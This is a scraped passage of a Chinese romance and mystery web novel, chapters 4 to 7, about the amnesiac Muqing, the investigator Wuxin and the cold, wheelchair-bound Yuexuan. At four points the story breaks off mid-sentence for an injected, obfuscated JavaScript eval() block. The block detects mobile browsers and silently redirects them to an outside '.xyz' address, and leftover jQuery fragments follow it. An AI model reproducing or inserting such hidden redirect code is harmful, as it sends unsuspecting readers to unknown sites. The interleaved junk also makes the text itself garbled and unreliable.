;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668817|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来。
“诶呦喂!”送饭的大娘被她吓了一跳,朗笑出声:“姑娘,你醒了啊!”
大娘一身海边渔民的常见打扮,身材健硕,一手提着食盒,一手还端着热水和毛巾。
慕情看着她,半响才迟钝地点了点头。
“我……”她想问问这是哪儿,自己是怎么了,但精神恍惚,语速也格外慢。
大娘却是个说话像点炮仗一样的急性子,放下手中杂物,走过来塞了个铜镜在她手里,几下帮她梳理了长发。
“无心大人早早就来问你醒了没有,一会儿你先吃着,我去叫他。”
无心?
慕情心下一松,也不再多问,点了点头。
镜中的自己熟悉又有些陌生,眉型细长,因虚弱而显得更大,脸颊失去了往日的饱满红润,薄唇也失了血色。
即便如此,依旧难掩那清丽的底子,苍白反而添了几分楚楚可怜的韵致。
她下意识地抬手,盖住了大半脸颊。
“哎呀,遮什么?”大娘笑着夸了她一句,“姑娘长得真是漂亮,在我们这儿啊,可生不出这样标志的孩子。”
慕情也不明白自己莫名其妙的动作,放下了铜镜。
大娘手脚麻利地帮她收拾了一番,便风风火火地离开去叫人了。
慕情独自留在房里吃早饭。
房间在二楼,她推开窗,清晨带着咸味的风吹了进来。
从窗边往外看去,下方是一个挺大的院子,不时有穿着清明司制服的人步履匆匆地穿过。
院子四周围绕着两层高的木制小楼,典型的东南沿海风格。
慕情依稀记得自己好像去了一趟海上,还跟人交了手。但后来发生了什么,怎么到了这里,她又完全没了印象。
这忘事儿的毛病,好像越来越严重了。
她捧着饼子看向窗外,忽见楼下院子里,有个黑衣侍卫走过,进了旁边的小楼。
“……钟武?”
慕情愣了一下,猛地放下手里的食物,飞奔出房间。
刚跑到楼梯口,就迎面撞上了前来找她的无心。
“哟,这是怎么了,着急忙慌的?”
无心伸手扶了她一下,很快又收回手,扭开脸轻咳一声,“先回去把衣服穿好。”
慕情低头一看,才发现自己起床后一直没有穿外袍,只着里衣。
其实衣服裹得严实,哪儿都没有露,但到底不太体面,于是脸颊一热,又匆忙跑回房间。
等她收拾好自己出来,无心已经在外间等她了。
“无心师兄,早。”她有些不好意思地补了个招呼。
要是让无心知道,她刚才心慌意乱的样子,是急着要去找月悬,肯定会取笑她粘人。
无心示意她坐下,奇道:“你认识我?”
“为什么不认识你?”
慕情被他问得一愣,见他一本正经的样子,随即忍不住笑起来,带着点促狭。
“我不仅认识你,还知道你给眠柳巷的十八位姑娘送过花,结果嘛……全被婉拒了。”
“噗!咳咳咳……”无心刚入口的茶水毫无形象地喷了出来,溅湿了桌上摊开的几张白纸。
负责记录的清明使坐在另一边角落里,默默抬头,无言地看着他。
无心放下茶杯,重新坐端正了。
“哪里听来的谣言,弄错版本了吧。”
他整理了一下纸笔,对旁边的下属说道,“我自己来就好,你先下去。”
看到有人起身离开,慕情才发现屋里居然还有第三个人。
她懊悔地抬手敲了敲自己的脑袋:“抱歉,无心师兄,我……是不是说错话了?”
无心脸色微红,几乎咬牙切齿地从牙缝里挤出声音:“这事儿……你、到、底、从、哪、儿、听、来、的?!”
4. 第 4 章
“我……”
慕情微微偏头,努力在混沌的记忆中搜寻,语气带着几分不确定:“应该是……我们喝醉了酒,交换秘密时,你告诉我的吧?”
世人皆知眷王府的五爷无心风流多情,曾同时给十八位姑娘送过一片红色蔷薇花瓣。引得姑娘们春心萌动,争相往王府送礼物,差点没因此打起来。
却不知,这是无心在弥补他那可怜的少年情伤。
“不可能。”无心斩钉截铁,耳根可疑地泛红,“且不说爷千杯不醉,就算喝酒也不可能跟你。我们此前并不认识。”
慕情更加茫然:“不认识?”
她记性不好就算了,师兄也跟着失忆了?
无心看着她茫然的样子,烦躁地抓了抓后脑勺:“算了算了,这事儿翻篇!”
他强行按下这个话题,拿起笔蘸了墨,指尖敲了敲面前空白的纸页,摆出公事公办的架势。
“言归正传。说说之前那艘废弃海船上的事,越详细越好。还有,你叫什么名字?哪里人氏?怎么流落到这无名湾的?前因后果,一一道来。”
她为什么会在这里?
慕情被这一连串问题砸得眉头紧锁。她要是记得清,还能在这儿吗?
“……不是你们带我来的吗?”她反问,声音里带着一丝不易察觉的委屈。
无心看着她,笑了:“我们今日是第一次见面。”
“不对!”慕情斩钉截铁地否认,脑中拼命想要抓住那些飘忽的片段,却只换来一阵愈演愈烈的尖锐刺痛。
记忆反而像被搅浑的水,更加模糊不清。
她闭了闭眼,双手用力按住突突直跳的太阳穴,身体不受控制地晃了晃。
“头……好晕……”
“别动。”无心立刻起身,握住她的手腕,防止她伤到自己。
他叹了口气,从怀里取出一个小瓷瓶,倒出一粒清香的药丸递过去,语气放缓带着安抚。
“你可能是受到幻境侵蚀,记忆出现了错乱。把这个吃了,或许能好受些。别急,想起多少就说多少。”
记忆错乱?
慕情不太认同,谁会错乱到连自己是谁都不清楚?
她有心辩解,但那剧烈的眩晕感如同跗骨之蛆,让她眼前阵阵发黑。
再加上无心那全然陌生的态度,一股莫名的寒意和恐惧悄然爬上心头。
额间的冷汗滑落,渗入眼角,带来一阵火辣辣的疼痛。
她猛地闭上眼,内心突然极度不安,猛地用力抓住无心的手臂。
“我、我想见月悬师兄。”
无心被她抓得手臂一紧,顿了一下:“他?他不在啊,你有什么事是不能跟我说的?”
“不在?”慕情低低地重复。
“咳,是啊。”无心轻咳一声,“妹妹,你就别扯其他的了。不然你好好回忆一下案情细节,等以后有机会,我带你去见他好不好?”
这几乎已经是明晃晃的哄骗了。
慕情皱眉,一时整理不出思绪,整个人微微发抖。
半响,她只能艰难道:“我……头疼,好像暂时想不起来……”
看着她苍白小脸上密布的冷汗和痛苦的神情,无心终究是狠不下心再逼问,无奈地叹了口气:
“行吧行吧,那咱们从最简单的来。你叫什么名字?家在哪里?这个总该记得吧?”
……
“大师兄!”无心一阵风似的卷进月悬的房间里。
月悬正在案前写东西,闻声笔尖一顿,停下笔墨:“问出来了?”
“啪!”无心把审讯记录拍在桌子上,“你肯定想不到,她说自己叫慕情,是咱们的小师妹!”
月悬的目光落在那张纸上,声音听不出情绪:“我们没有小师妹,‘慕情’也不太像本名。”
“是啊,幻境里你不是叫她落儿嘛……”
无心话没说完,就收到月悬一记冰冷的眼刀,立刻识相地闭嘴,换上正经神色。
“但她好像对我们很了解。”
审问记录并不长,月悬往下扫了一眼,问道:“她揭你什么短了?”
无心干笑两声,掩饰尴尬:“不是……你怎么又知道?”
月悬:“上面并没有提到你,你却说她对‘我们’很了解,说明有些内容被你抹掉了。”
无心举手发誓:“真不是什么大事儿!但我发誓,那件事我绝对没跟任何人提起过!天知地知我自己知!”
月悬不再深究,放下那页薄薄的纸张,推到他面前:“还有,我让你仔细审问,你拿着这个就敢来找我?”
一页纸本就记不了多少内容,还一句对案件有用的都没有。
无心顿时叫屈:“冤枉啊大师兄!不是我不想问,人家不记得了有什么办法?你是没看到小姑娘那个可怜样,问多了就喊头晕,疼得一头冷汗,浑身发抖……我还问得下去吗?”
他充满希冀地看向自家大师兄:“要不……您亲自出马试试?”
月悬面无表情地将那张审讯记录收进桌角的木匣里,冷淡地拒绝。
“你自己的任务,不要总想着找师兄。”
无心笑了:“我懂,她头疼得厉害的时候还喊你名字了,非要找你,唉……我只能说你不在这儿。”
月悬态度淡淡的,没接他的话。
无心挠了挠头,还是觉得困惑:“别说,‘慕情’这个名字列在咱们后面,确实没什么违和感,不会真是师父他老人家背着我们,偷偷收了个小师妹吧?”
“不太可能,不过此事蹊跷,稍后我会飞鸽传书回王府,看父亲那里有没有什么线索。”
“好。”无心突然想起另一件事,又道:“对了,昨晚我让人去城里请大夫,回报说莫医师刚巧也在东海附近。你看,是请他来这里一趟,还是把人送去竭临港?”
月悬思索片刻,说道:“这儿都是男子,一个姑娘家多有不便。若确定她暂时无害,便先送去竭临港安顿,待查明身份来历再作打算。”
“行,那我过会儿再去看看她情况。”无心领命。
过了将近一个时辰,无心再次来到慕情所住的小楼,手里还拎着个用新鲜蕉叶裹着的小包。
慕情披散着一头如瀑青丝,正站在窗边出神。
“看什么呢?”无心将那个散发着食物香气的蕉叶包递过去。
慕情打开一看,里面是炸得金黄酥脆、还带着微微热气的小鱼干,显然是渔村特产。
她拈起一条放入口中,香脆可口。
“我在看你骗我。”她咽下小鱼干,指了指窗外院子。
“我骗你什么了?”
无心顺着她指的方向看去,只见钟武正和一名清明使低声交谈着什么,心中不禁暗道失策。
“你连钟武都认识啊?”
月悬病情日渐严
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668818|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重,时常行动不便。钟武是眷王配给他的贴身侍卫,几乎是月悬的影子,等闲不离其左右。
慕情:“是他不愿意见我吗?”
“额……也不是这么说。他太忙了,而且他不认识你啊,妹妹。”
慕情眉头蹙起。
无心连忙转移话题:“我们替你请的大夫已经在路上了。不过这渔村条件实在简陋,你一个姑娘家住着多有不便。下午就安排人送你去竭临港,那边食宿都好些,也方便大夫诊治。”
慕情动作一顿,诧异地抬起头。
“你要……赶我走?”
“放心,你的事我也让人去查了,等查清了会送你回家的。在此之前,会有人负责照顾你。”
慕情心下了然,这名为照顾,实为看守。
虽然她也不清楚到底发生了什么,但她不愿意离开这里,更不想再独自被扔到一个陌生的地方。
她抿紧了唇,带着一种近乎固执的坚持:“我家就在眷王府。”
无心也不与她争论,收拾东西起身要走:“现在还没查到呢,到时候再说。”
“无心师兄。”慕情叫住他,“我不走可以吗?”
无心表情无奈:“这儿乱糟糟的,案子又棘手,你留下做什么?也帮不上忙。”
“我帮得上!”慕情拉着他重新坐下,“你之前不是问我……”
她将自己脑海中那些破碎的、经过艰难拼凑的记忆片段,尽可能清晰地叙述出来。
包括那鬼船幻境,里面被困的二十几个魂魄,以及唯一的那个活人。
这些是她头疼缓过来后,根据模糊的记忆整理出来的,应该还原了事情的大概。
提到那修炼鬼术的锦衣年轻男子时,无心若有所思。
“此人不在我们的失踪名录中。”无心沉吟,“这几天也没在沙滩上发现特殊痕迹,看来不是被卷进海里,就是让他跑了。不过没事,我们会派人去追查的。”
接着无心又问了她几个问题,大多是关于她出现在无名湾之前的事情。
慕情只一味摇头。
她心里认为这里远离京城,肯定是师兄师姐们带她来的。
但是说了无心也不会承认,索性闭口不言。
等无心实在问不出来了,她才提出要求:“我想出去转转,说不定能想起来更多呢。”
无心没说话。
“不可以吗?”
无心笑了笑:“不是我刻意要拘着你,只是这里最近不太平,我不能放你一个人出去乱走。”
“我就跟着你,不乱走。“
见他还是不为所动,慕情露出苦苦思索的表情。
“我……隐约记得在海上看到了什么东西,想再去无名湾看看,或许能想起来呢!”
无心眼神微动,终于松口:“你准备一下,一会儿我让人来叫你。”
“谢谢师兄!”慕情脸上瞬间绽放出笑容。
其实,海里的东西她没有看清,只隐约有股熟悉感。提出去现场看看,不过是权宜之计,对于能不能有所收获,她并不乐观。
不过没关系,就算找不到线索,编胡话她会啊!
“小嘴倒是挺甜。”无心被她那一声声“师兄”叫得有些受用,但嘴上仍带着警告,“不过,可千万别打什么歪主意,不然‘师兄’我也只能大义灭亲了。”
慕情对他做了个鬼脸:“我才不会呢。”
5. 第 5 章
无心本来也准备再去一趟现场,便让她在这里稍候片刻,拿着案卷离开了。
慕情也没有什么可收拾的,吃完了小鱼干,只把头发重新梳理一下,就闲了下来。
透过窗子往外看,院子里空荡荡的,人应当是都出去忙了。
她脑筋一转,突然想趁现在去隔壁小楼看看。
她轻手轻脚地离开房间,从楼梯下到一楼,没有遇到任何看守的人。
她松了一口气,小跑着过去拉开大门。
刚踏出去两步,“唰”的一下,一柄未出鞘的刀挡在了她面前。
“慕情姑娘,外面忙乱,请不要乱走。”
“……”
慕情心平气和,试图讲理:“无心已经同意我出门了。”
“抱歉姑娘,无心大人方才离开时,并没有特殊交代。”
年轻的清明使话说得礼貌,握刀的手没有半分退让的意思。
……出师不利。
被限制行动的感觉很糟糕,慕情有些郁闷,又有些生气,质问道:
“我又不是犯人,是谁让你在这儿守着的?无心还是月悬?”
她的声音清脆,音量不低,在院子里回响着。
那清明使没有答话,却下意识地抬眼,看了一下隔壁小楼二层的某个窗户。
慕情瞬间明了,生气地握拳,冲着那扇开着的窗户大喊一声。
“沈、听、寒!你这个讨厌的大猪蹄子!!!”
这话吼得用尽力气,声音顺着海风传出去甚远。
连院子里的麻雀,都惊飞好几只。
旁边清明使握刀的手一抖,刀柄险些撞她鼻子上。
慕情不满地看了他一眼。
“你……”对方连装酷都顾不上了,面对着她,一脸震惊的表情。
慕情叉腰:“我什么我,我说错了吗?”
旁边的屋子里陆陆续续传来一些动静,但没有一个人敢出来看热闹,二楼的房间更是没有丝毫动静。
片刻后,无心仿佛被鬼撵一般冲了出来。
“你干什么呀,祖宗?”
他抓住慕情的胳膊就拉走,表情崩溃中夹杂着想笑,十分复杂。
“连名带姓就罢了,还骂得这般粗俗。”
慕情挣扎了一下,拧不过他,不服气地小声嘀咕:“这算什么粗俗,明明很贴切。”
“你可快饶了我吧,我还想过两天好日子。”
慕情突然想起一件事,又问道:“送走我是不是也是他下的令?”
无心沉默了。
慕情生气地转头,还没喊出声,就被无心眼疾手快地捂住了嘴,一路拖出了院子。
她乱七八糟地挣扎:“唔……你放……”
无心艰难压下她的手,叹气:“姑奶奶,你再折腾下去,我可不能保证你不会被立即送走。”
慕情:“……”
罢了,好女不吃眼前亏,账留着以后再算。
·
两人离开旧渔庄,穿过山坳,来到无名湾。
这里还是昨天的样子,只是雾气散了。
漆黑的破旧海船搁浅在礁石上,显得有些突兀。
几个清明使在上方小心地收集物证,二十几具尸首已经全部起出,用黑布包裹在沙滩上摆成两排。
慕情从旁边路过,脚步微顿,视线逐一扫过。
她静默片刻,双手合十弯腰一拜。
无心站在她身侧,解释道:“待现场勘验完毕,这些遗体会移交给当地衙门,妥善处理安置。”
清明司办事有自己的流程,慕情没有插嘴,只点了点头。
他们一起登上甲板。
这船已腐朽不堪,每走一步,脚下的木板都发出令人牙酸的“吱呀”声。
路过的清明使向无心打招呼,顺带对慕情看上好几眼。
慕情觉得那眼神古怪,不由疑惑:“他们为什么这样看我?”
“稀奇呗,终于见着清醒的真人了。”
“啊?”慕情茫然,“你不是说他们都不认识我吗?”
无心只是笑,也不解释,问她:“怎么样?想起什么来没有?”
慕情看着眼前广阔的海湾,脑中空空如也,只觉得海风吹得她有点冷了……
她深吸一口气,紧了紧衣服。
“似乎有闪过一些模糊的画面,但你一催又记不清了,你等我再想一想。”
无心怀疑她在蒙人,偏还拿她没什么办法,无奈道:“行,您在这儿慢慢想,别跑远了。”
见她脑袋点了点,看起来十分乖巧,他才转身投入工作中。
昨日幻境破除时已是傍晚,天色擦黑,许多细节无法看清。
他对着整理出来的东西仔细查看,不时回头望向船尾甲板,确认慕情没出什么幺蛾子。
直到他看见一块沾着粘液的布片,便走到另一头,跟其他清明使询问了一下情况。
就这么几句话的功夫,就听到身后有人轻呼:“咦!慕情姑娘怎么跑海里去了?”
无心一惊,蓦地回头看去。
慕情不知何时已经下到了沙滩,站在及腰深的海水中。
海浪的冲击下,她摇晃踉跄着,还在不断往深处走。
无心头皮都麻了,太阳穴突突跳,连忙运起轻功,从船上一跃而下,飞快赶到慕情身边,将她从海里拎了出来。
慕情身上的衣服湿了大半,在海风之中瑟瑟发抖。
无心正要质问她为什么想不开,忽然看到她手上拿着什么东西。
那是无名湾特有的白玉珊瑚,平常生长在深海中,偶尔能在沙滩上捡到一些残破的碎片。
极少看到这样大的一整株珊瑚被冲上来,可惜大部分枝丫也被撞碎了,只有顶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668819|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上还有一小撮完好的。
无心哑然失笑,好一会儿才说:“你就是为了捞这个?”
无名湾这一片,大部分是崎岖不平的岩石,海底的地形更是复杂,随时可能一脚踩空被海浪卷入深海中。
他也不知道该说这姑娘幸运还是胆大。
慕情抬起头,脸上的表情却不太对劲,跟她之前犯头疼时的样子很像。
“你怎么了?”无心皱眉。
“我好像知道了。”慕情看向手里的东西。
她记起来了……
她确实是跟着无心师兄来东海的,但帮他查案只是顺便,她是来找珊瑚的。
但是很奇怪,她怎么觉得,这案子好像已经查过了?
慕情再次困惑地发起呆来。
无心急道:“知道什么?继续说。”
慕情回过神:“是蜃……我看见它了。”
她的声音极低,几乎被海风吹散。
“蜃?传说中‘海市蜃楼’那个蜃?”
无心脑中灵光一闪,别说,按照目前的线索来看,还真有点像。
他急急道:“你看到它在哪儿?”
慕情慢慢眨了眨眼,这也是她困惑的地方。
“我看到它在一片很大很大的礁石群中,那里还有别的人,比这里还要多……”
“人?什么人?也是被它抓来的?还活着吗?”
慕情偏了偏头,不太确定:“应该吧……但是我觉得得快一点。”
“你……”无心的表情介于信与不信之间,看得出十分纠结,“你不是在编故事整我吧?”
无名湾遍布礁石,但大部分在水下,只有潮水涨落时偶尔露出漆黑的一角。
若说哪里有大片裸露的礁石群,附近似乎只有竭临港北部的一片海域。
离这里至少数十海里,慕情如何能“看见”?
慕情无辜地抱紧手里的珊瑚。
“我不知道对不对,但也不会随意拿人命开玩笑。”
无心与她对视片刻,转头冲身后的清明使喊道:“把海图拿过来!”
没一会儿,就有人将一卷羊皮纸送了过来,泛黄的底色上标注着各种线条和符号。
无心把海图展开在慕情面前,指着一块散布着密密麻麻黑点的区域。
“是这里吗?”
慕情:“应该、可能、大概、也许……是吧。”
她的记忆里只有一些画面而已,也没给带个地图定位啊。
无心沉默,看着她的表情一言难尽。
别看这片礁石在海图上只有小小一片,实际置身其中估计肉眼看不到边际,又不便行船,若连大致位置都无法确定,该如何去找?
慕情连忙举手发誓:“但要是到了那地方附近,我肯定能认出来!”
无心将海图收好:“你身上湿完了……先回去再说。”
6. 第 6 章
慕情披着无心的外袍,回到旧渔庄的院子,又被嘱咐不许乱跑。
这次她没有抵抗,乖乖回房间去了。
事出突然,无心肯定要跟月悬商议,还有许多杂事要安排,如果真要去找那礁石群,还得调船。
她现在倒是不用担心被扔下了,但也头疼得厉害。
原本只是想找个借口,怎么还真想起来了。
关键是这点模糊的记忆也无法为她解惑,反而更增加了谜团。
慕情蔫头耷脑地换了干净衣物,喝了大娘准备的驱寒汤,重新躺回床上去。
自醒来以后,她的头一直闷闷的疼,时轻时重,尤其在大量动脑之后,更觉疲累不堪,几乎沾床就失去了意识。
她觉得自己只是闭了闭眼,但再次醒来,竟然又已经到了傍晚。
明艳的晚霞透过窗棂照入室内,橘黄的光斑在木制地板上轻轻晃动着。
慕情从床上坐起,才发现不是光在晃,而是整个房间在有规律地轻轻摇动,往窗外看去,是一望无际的平静的海面。
“笃笃笃”地敲门声响起,一个头发花白、姿态健朗的老人推门走了进来。
“姑娘,你醒了。”
慕情皱眉回想:“你是……莫医师?”
莫医师笑眯眯的,十分和蔼。
“身体如何,可有什么不舒服?”他放下手中药箱,说道。
慕情摇了摇头,熟练而自然地伸出手。
“没什么,就是有点头疼。”
莫医师搭上她的手腕,凝神把脉,片刻后松开,递过来一粒药丸让她服下。
“你受了凉,又心神激荡,难免有点头疼。幸好无心及时送你回来,喝下汤药没有发出热来。”
慕情没有太在意,问道:“我怎么到船上来了,这是要去哪儿?”
“说是要去找一片礁石。”莫医师并没有多说,“对了,无心让你醒了以后去找他。”
这艘船很大,慕情找了一圈才在前甲板上找到无心,他正在跟一个人说话。
那人穿着一袭月白色的长袍,衣料轻柔,随风而动时宛如流云。
分明是坐在轮椅上,却看得出身姿高挑挺拔,仪态非凡,侧颜轮廓清晰俊美,气质干净得如同天上的冷月。
慕情停下脚步,熟悉的身影瞬间让她鼻尖一酸。
月悬听到动静转过身来,看了她一眼,对无心说道:“那我先回去了。”
他驱动轮椅,驶向船舱内,轮子转动时几乎没有声响,路过慕情身边时也并未有所停留。
“沈听寒……”慕情忍不住叫住他。
轮椅停下。
不远处,无心不禁后退一小步,为她的大胆倒吸一口凉气。
连名带姓地当面直呼他大师兄名字,他都不敢这么干。
月悬的语气冷漠,夹杂着一丝不悦:“我不习惯外人唤我名字,姑娘还是称我月悬吧。”
慕情从没想过他会用这样的语气说话,一时愣在原地,直到轮椅走远才回过神。
她微微低头,内心有些伤心和失落。
她不喜欢月悬待她如此冷淡,这种感觉……特别熟悉,好像曾经也有这样的情景发生。
脑中努力回忆着,竟然真有什么片段一闪而过。
慕情觉得自己混淆了记忆与现实,一股莫名的悲伤和痛苦袭来,忍不住捂着头蹲下。
“你没事吧?”无心走过来扶住了她,伸手招呼刚好出来倒药渣的人。
“莫医师!快过来!”
莫医师往这边一看,赶紧跑过来,蹲下查看慕情的情况,生气道:
“不是说了不能让她情绪激荡吗?!”
无心讨饶:“这次可跟我没关系,大师兄干的!”
“……”
莫医师把骂到嘴边的话咽了回去。
“帮我扶住她。”
慕情听不清他们说什么,整个人被剧烈的头疼淹没,眼角浸出生理性的眼泪。
她脑中闪过许多混乱的画面,但还不及细看,就消散了。
只记得最后,她捧着一张纸递到月悬面前,说话时还带着浓浓的鼻音:“现在可以抱抱了吗?”
月悬低头看着那张纸,轻声叹息:“……你想抱就抱。”
慕情看到自己哭着扑进他怀中,换来一声尽是无奈的“你呀……”
慕情蓦地睁开眼。
糟糕的情绪突然如潮水般褪去,头疼也减轻了许多。
她看到莫医师正解开随身携带的针包,摇了摇头。
“我没事,不用施针。”
挣脱无心的搀扶,自己站了起来,擦干脸上的泪痕。
好奇怪的记忆片段。
慕情搓了搓脸,仍有些心情低落。
无心看着她动作,发现她眼中果然没有泪意了,不禁奇道:“你这……哭得突然,收得也够快的哈。”
就是一惊一乍的,快把他吓出病来了。
莫医师收了针包给她把脉,却只是摇头。
“我去重新给你配副药。”
慕情吸了吸鼻子:“多谢莫伯伯。”
莫医师叹气:“情志内伤,你自己注意着点。”
慕情老实听训,等他走后才对无心说道:“你找我?”
她状态转换得太快,连无心都有点不太适应,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668820|173051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻咳一声,将话题转到正事儿上。
他打开海图。
“我回去跟大……咳,回去研究了一番后,发现你所说的确有可能。因情况紧急,又没有其他线索,只能先过去碰碰运气。船预计明天上午就能到达万岛礁,但那一片礁石群范围实在太大了……”
他看向慕情,手指点了点自己的脑袋:“不然劳您再费心想想,还有什么细节么?”
“真没有了。”慕情确实是尽力了,有些蔫地趴在栏杆上。
“我只记得……它好像,还挺好打的?”
无心:“……你还打过?”
慕情挠头:“或许吧,我不记得了。”
一句我不记得把无心弄得毫无办法,他原地转了两个圈,无奈道:“你真没骗我?”
“你是我师兄,我怎么会骗你。”
“停停,再说一遍,我们真没有小师妹。”
慕情板着脸:“哦。”
无心偏头看了她一会儿,卷起海图,在她脑门上轻敲了一下。
“再相信你一次。你好好干,要是真找对了地方,算你协助办案有功,有奖励的。”
慕情眼睛一亮:“什么都可以吗?”
无心乐了:“当然不是,想什么美梦呢?一般都是按情况,奖励些金银财物之类的。”
“那换成别的可以吗?”
“唔……不是很夸张的话也可以商量,不过现在讨论这个还是太早了些。要是发现你故意骗人,可是要受罚的。”
慕情轻哼一声,不再搭理他,转身回房去了。
在屋里的桌子上,放着她捡回来的那株白玉珊瑚,大概是无心见她喜欢,就帮她一起带上了船。
盯着它凌乱的样子发了会儿呆,慕情出门拦住一个路过的清明使,问他要了些砂纸和工具,拿起珊瑚细细地修剪、清理、打磨。
这一弄,就弄到了深夜。
大家似乎都已经入睡,周围没了脚步声、说话声,只有海浪轻轻拍打船身的声音,更显得四下俱静。
过长时间的专注,让慕情本就不太清楚的脑子,更加混沌胀痛。
她搓了搓脸颊,起身轻手轻脚地打开窗。
夜里风平浪静,海面空旷而悠远,依稀可见天际线处有零星灯火,不知是不是竭临港的方向。
慕情探出半个身子,张开手伸展了一下身体,呼吸着海上的空气,余光突然瞥到前面甲板处,站着一个修长挺拔的人影。
今日是朔日,天气也晴朗,能够看到天上圆而硕大的月亮。
月悬没有坐轮椅,只是双手轻轻搭在栏杆上,抬头看着这无边夜色,不知在想些什么。
7. 第 7 章
海风吹起月悬的发丝和衣角,时而飞舞,时而落下。
安静得像一幅画。
慕情单手撑着脑袋,趴在窗台上看他。
直到困意上浮,手一滑,下巴险些磕在窗台上。
她恍惚抬头,才发现不知过了多久,月悬竟然还是站在那里。
她有些坐不住了,起身往外走,要开门时动作一顿,回过头看向桌上精心雕琢好的珊瑚,伸手拿过来,收到了袖子里。
深夜寂静无声,任何微小的动静都会被无限放大。
她的脚刚踏上船头甲板,月悬就察觉了,微微侧过身看向她。
船上的灯火都熄了,周围只有他手里提着的一盏风灯,昏暗的光线将他的脸庞线条照得更加柔和,却因那沉静的气质而显得冷峻。
“慕情姑娘。”
慕情回过神,扁了扁嘴,磨磨蹭蹭地挨到他身边。
月悬没有退开,慕情觉得他可能是腿疼得动不了,但不管什么缘故,反正他没有退开。
两人之间离得很近,慕情几乎能闻到他身上淡淡的檀香,只要轻轻抬手,就能触碰到他的指尖。
她手动了动,想起月悬白天的态度,又忍住了。
“这么晚了,你在看什么?”
月悬沉默片刻:“……看月亮。”
“你在这儿站好久了,你的腿……”
慕情挠了挠脸颊,想让他回去休息,又想跟他聊一会儿,可找不到合适的话题。
她垂下头,有点沮丧:“疼不疼啊?”
月悬并不答话,只说道:“你该回去睡觉了。”
慕情:“……”
“好吧。”她叹气,“那你也要早点休息,不对,是现在就去休息。我扶你回去好不好?”
她说着伸出手,期待地注视着他。
月悬只是垂眸看了一眼,客气而冷淡:“不必劳烦,钟武会找过来。”
话音刚落,船舱里传来动静,不一会儿就到了近前。
果然是钟武推着轮椅找来了。
“公子。”他脚步声挺快,显得有点匆忙,结果刚出来就看到慕情,动作一顿。
“咳……慕情姑娘也在啊,那我在这儿等您。”
他说罢背过身去,在船舱门口贴墙站着,一动不动像个门神似的。
慕情:“……”
有外人在,就更不好说什么了。
她走过去把轮椅推过来,让月悬坐下,然后从袖中取出一物,递到他面前。
“呐,这个给你。”她小声说道。
巴掌大的白玉珊瑚躺在她手心里,在月下反射着微光,莹润如玉石雕成。
月悬显然愣了一下,随即操纵轮椅退开一步。
“清明司有规定,在外不能收礼,姑娘自己留着吧。”
慕情有点急了:“这、这算什么礼?这是我捡到的……”
月悬摇头,淡淡道:“回去休息吧。”
说罢转身离去。
慕情上前追了两步,想探身把白玉珊瑚放到他怀里。
结果他手臂微动,挡了一下。
珊瑚顺着柔软的布料滑落在地,刚好被轮椅碾过。“咔”一声轻响,漂亮的枝丫瞬间碎了大半。
“啊……”慕情轻呼一声,蹲下身去。
月悬也感觉到了,微微一顿,但没有回头,也没有俯身去捡,控制着轮椅走了。
慕情把碎片全都捡起来,收回了袖子里,起身就看到钟武朝她走了过来,手里拿着之前月悬提着的那盏灯。
“慕情姑娘,公子吩咐我送你回房,呃……还有,替他说声抱歉,你想要什么补偿可以告知我,会尽量满足。”
晚上光线昏暗,钟武显然没有看到刚才那一幕,所以说这话时满脸困惑,表情奇怪。
慕情咂摸了一下,失落的情绪中又忍不住有点想笑。
“算啦,本来就是给他的,不用补偿。”
她看向月悬离开的方向,“他之前在这里站了很久,身体肯定不舒服了,你去看看吧,不用管我。”
钟武为难道:“公子特意嘱咐……”
“没事的。”慕情打断他,“我想自己待一会儿,很快就回去了。”
钟武终究放心不下月悬,迟疑片刻,见她没有要回去的意思,便留下风灯,先一步离开了。
安静的海上,周围空无一人,格外适合发呆。
慕情突然有些疲累
